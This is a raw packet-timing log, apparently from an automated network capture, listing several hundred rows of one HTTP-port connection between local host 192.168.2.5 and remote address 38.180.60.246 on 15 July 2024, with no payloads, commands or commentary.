Jul 15, 2024 00:48:24.549058914 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.549069881 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.549072027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.549093962 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.549117088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.549143076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.549164057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.549190044 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.549201965 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.549328089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.549338102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.549349070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.549360991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.549370050 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.549372911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.549385071 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.549396992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.549401999 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.549407005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.549417973 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.549418926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.549438953 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.549465895 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.549580097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.549591064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.549602032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.549613953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.549623013 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.549626112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.549639940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.549654007 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.549665928 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.549693108 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.549956083 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.549999952 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.550009012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.550020933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.550040960 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.550060034 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.550134897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.550147057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.550165892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.550178051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.550178051 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.550189972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.550201893 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.550230026 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.561258078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.561321974 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.561470032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.561482906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.561496973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.561508894 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.561515093 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.561522007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.561534882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.561542034 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.561568022 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.628827095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.628849983 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.628864050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.628878117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.628900051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.628901958 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.628911018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.628925085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.628933907 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.628938913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.628956079 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.628967047 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.628997087 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.629136086 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.629148006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.629158974 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.629169941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.629179955 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.629184008 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.629199982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.629208088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.629213095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.629230022 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.629256964 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.630872965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.630886078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.630897999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.630909920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.630933046 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.630963087 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.631107092 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.631119013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.631131887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.631155014 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.631184101 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.632142067 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.632200003 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.632208109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.632220030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.632246017 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.632262945 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.632333040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.632344007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.632356882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.632368088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.632374048 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.632379055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.632400036 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.632421017 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.639599085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.639647961 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.639708996 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.639719963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.639731884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.639758110 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.639770985 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.639842033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.639853001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.639863014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.639887094 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.639905930 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.639914036 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.639916897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.639929056 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.639938116 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.639940977 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.639970064 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.639997005 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.640074015 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640113115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.640269995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640289068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640300035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640310049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640314102 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.640322924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640330076 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.640335083 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640346050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640363932 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.640381098 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.640593052 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640603065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640614986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640625954 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640634060 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.640638113 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640650034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640661001 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.640670061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640680075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640690088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.640691042 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640702963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640711069 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.640714884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640726089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640734911 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.640738010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640749931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640755892 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.640760899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640774012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640777111 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.640786886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640799046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640805006 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.640810966 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640821934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640831947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.640832901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640845060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640850067 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.640856981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.640873909 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.640942097 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.641418934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.641431093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.641442060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.641453028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.641463995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.641472101 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.641474962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.641494036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.641500950 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.641505957 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.641516924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.641522884 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.641527891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.641539097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.641549110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.641550064 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.641561031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.641571999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.641583920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.641587019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.641596079 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.641601086 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.641608000 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.641623020 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.641649961 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.642672062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.642684937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.642697096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.642709017 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.642719984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.642723083 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.642730951 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.642741919 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.642751932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.642762899 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.642765045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.642776966 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.642785072 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.642787933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.642800093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.642811060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.642817020 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.642822981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.642834902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.642843962 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.642848015 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.642859936 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.642868042 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.642870903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.642882109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.642888069 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.642894030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.642904997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.642919064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.642920017 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.642929077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.642940044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.642947912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.642951965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.642967939 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.642987013 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.655870914 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.655945063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.655956984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.655960083 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.655968904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.655980110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.655992031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.655997992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.656007051 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.656042099 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.760396957 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.760498047 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.760509968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.760514021 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.760550022 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.760580063 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.760602951 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.760615110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.760626078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.760638952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.760644913 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.760665894 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.760711908 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.760715008 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.760725975 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.760735989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.760746956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.760756969 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.760788918 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.760864973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.760876894 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.760909081 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.760932922 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.760936975 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.760982037 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.760991096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.761003971 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.761035919 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.761229992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.761241913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.761280060 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.761281013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.761328936 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.761363029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.761373997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.761404991 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.761415958 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.762737036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.762749910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.762759924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.762770891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.762783051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.762794018 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.762821913 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.763046026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.763058901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.763097048 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.763120890 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.764884949 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.764895916 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.764909029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.764946938 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.764970064 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.764993906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.765003920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.765017033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.765028000 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.765033960 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.765072107 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.982389927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.982409954 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.982429981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.982439995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.982450962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.982460976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.982476950 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.982481003 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.982538939 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.983139992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.983150959 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.983160019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.983194113 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.983213902 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.983232021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.983243942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.983253956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.983264923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.983277082 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.983302116 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.984097004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.984108925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.984117985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.984129906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.984141111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.984149933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.984154940 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.984162092 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.984173059 CEST	49704	80	192.168.2.5	38.180.60.246
